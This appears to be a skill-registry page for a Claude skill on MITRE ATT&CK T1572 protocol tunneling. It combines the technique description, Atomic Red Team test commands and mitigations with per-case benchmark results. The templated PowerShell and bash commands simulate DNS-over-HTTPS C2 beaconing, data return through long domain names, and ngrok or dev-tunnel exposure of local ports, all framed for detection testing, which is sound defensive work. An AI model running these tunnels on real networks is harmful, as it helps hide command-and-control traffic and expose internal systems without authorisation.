Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems.
.claude/skills/cyberstrikeus-t1572-protocol-tunneling/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-03 | ✗→✓ | ▲ Improved | 34% | 0% |
| case-04 | ✗→✓ | ▲ Improved | 78% | 0% |
| case-05 | ✗→✓ | ▲ Improved | 19% | 0% |
| case-08 | ✗→✓ | ▲ Improved | 121% | 0% |
| case-09 | ✗→✓ | ▲ Improved | 171% | 0% |
Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.
There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.
Protocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.
Adversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol or Service Impersonation to further conceal C2 communications and infrastructure.
Platforms: ESXi, Linux, macOS, Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
This test simulates an infected host sending a large volume of DoH queries to a command and control server. The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
Supported Platforms: windows
powershellfor($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content }
This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time. This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
Supported Platforms: windows
powershellSet-Location "PathToAtomicsFolder" .\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
This test simulates an infected host returning data to a command and control server using long domain names. The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
Supported Platforms: windows
powershellSet-Location "PathToAtomicsFolder" .\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
Download and run ngrok. Create tunnel to chosen port.
Supported Platforms: windows Elevation Required: Yes
powershellC:\Users\Public\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp #{port_num} } | Out-Null Start-Sleep -s 5 Stop-Job -Name Job1 | Out-Null
Dependencies:
Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels.
This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc. Reference:
Supported Platforms: linux, macos
bash#{binary_path} host -p #{port} &
Dependencies:
If Atomic Red Team tests are not applicable, manually verify the technique by:
Consider filtering network traffic to untrusted or known bad domains and resources.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.
| Finding | Severity | Impact | | --------------------------------------- | -------- | ------------------- | | Protocol Tunneling technique applicable | Medium | Command And Control |
| CWE ID | Title | | ------- | ---------------------------------- | | CWE-300 | Channel Accessible by Non-Endpoint |
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-06 | pass→pass | 9,817 | 6,485 | -34% | 1 | 1 | 0% | 1,732 | 2,725 | +57% | 0 | 0 | — |
case-01 | fail→fail | 18,557 | 14,904 | -20% | 1 | 1 | 0% | 2,553 | 4,053 | +59% | 0 | 0 | — |
case-02 | fail→fail | 46,049 | 31,191 | -32% | 1 | 1 | 0% | 6,508 | 6,007 | -8% | 0 | 0 | — |
case-03 | fail→pass | 14,787 | 7,775 | -47% | 1 | 1 | 0% | 2,445 | 3,277 | +34% | 0 | 0 | — |
case-04 | fail→pass | 14,213 | 10,093 | -29% | 1 | 1 | 0% | 1,519 | 2,700 | +78% | 0 | 0 | — |
case-05 | fail→pass | 19,257 | 7,823 | -59% | 1 | 1 | 0% | 2,237 | 2,668 | +19% | 0 | 0 | — |
case-07 | pass→pass | 8,573 | 3,664 | -57% | 1 | 1 | 0% | 1,370 | 2,305 | +68% | 0 | 0 | — |
case-08 | fail→pass | 12,447 | 9,088 | -27% | 1 | 1 | 0% | 1,029 | 2,271 | +121% | 0 | 0 | — |
case-09 | fail→pass | 4,653 | 6,833 | +47% | 1 | 1 | 0% | 764 | 2,067 | +171% | 0 | 0 | — |
case-10 | pass→pass | 15,295 | 25,783 | +69% | 1 | 1 | 0% | 3,087 | 6,499 | +111% | 0 | 0 | — |
case-20 | pass→pass | 17,421 | 7,699 | -56% | 1 | 1 | 0% | 2,011 | 2,201 | +9% | 0 | 0 | — |
case-11 | pass→pass | 16,039 | 9,282 | -42% | 1 | 1 | 0% | 1,991 | 3,592 | +80% | 0 | 0 | — |
case-12 | pass→pass | 9,689 | 12,099 | +25% | 1 | 1 | 0% | 1,876 | 4,148 | +121% | 0 | 0 | — |
case-13 | fail→fail | 25,612 | 20,950 | -18% | 1 | 1 | 0% | 2,754 | 3,912 | +42% | 0 | 0 | — |
case-14 | fail→pass | 8,738 | 7,945 | -9% | 1 | 1 | 0% | 1,592 | 2,358 | +48% | 0 | 0 | — |
case-21 | fail→pass | 21,268 | 11,587 | -46% | 1 | 1 | 0% | 2,425 | 2,864 | +18% | 0 | 0 | — |
case-15 | fail→pass | 12,825 | 7,996 | -38% | 1 | 1 | 0% | 1,402 | 2,201 | +57% | 0 | 0 | — |
case-16 | pass→pass | 21,438 | 14,113 | -34% | 1 | 1 | 0% | 2,507 | 4,106 | +64% | 0 | 0 | — |
case-17 | fail→pass | 14,606 | 9,381 | -36% | 1 | 1 | 0% | 1,794 | 2,541 | +42% | 0 | 0 | — |
case-18 | fail→pass | 26,548 | 8,451 | -68% | 1 | 1 | 0% | 2,511 | 2,360 | -6% | 0 | 0 | — |
case-19 | fail→pass | 7,828 | 7,698 | -2% | 1 | 1 | 0% | 1,235 | 2,224 | +80% | 0 | 0 | — |
case-22 | pass→pass | 13,157 | 18,643 | +42% | 1 | 1 | 0% | 2,386 | 3,931 | +65% | 0 | 0 | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +50 percentage points is the difference between those two pass rates over the 22 comparable cases.
Without the skill loaded, the model failed this case. With it loaded, the same prompt on the same model passed. This is one improved case from the latest verified run; every case, including any that regressed, is in the table above.
Other measured skills in the registry, with their headline benchmark lift.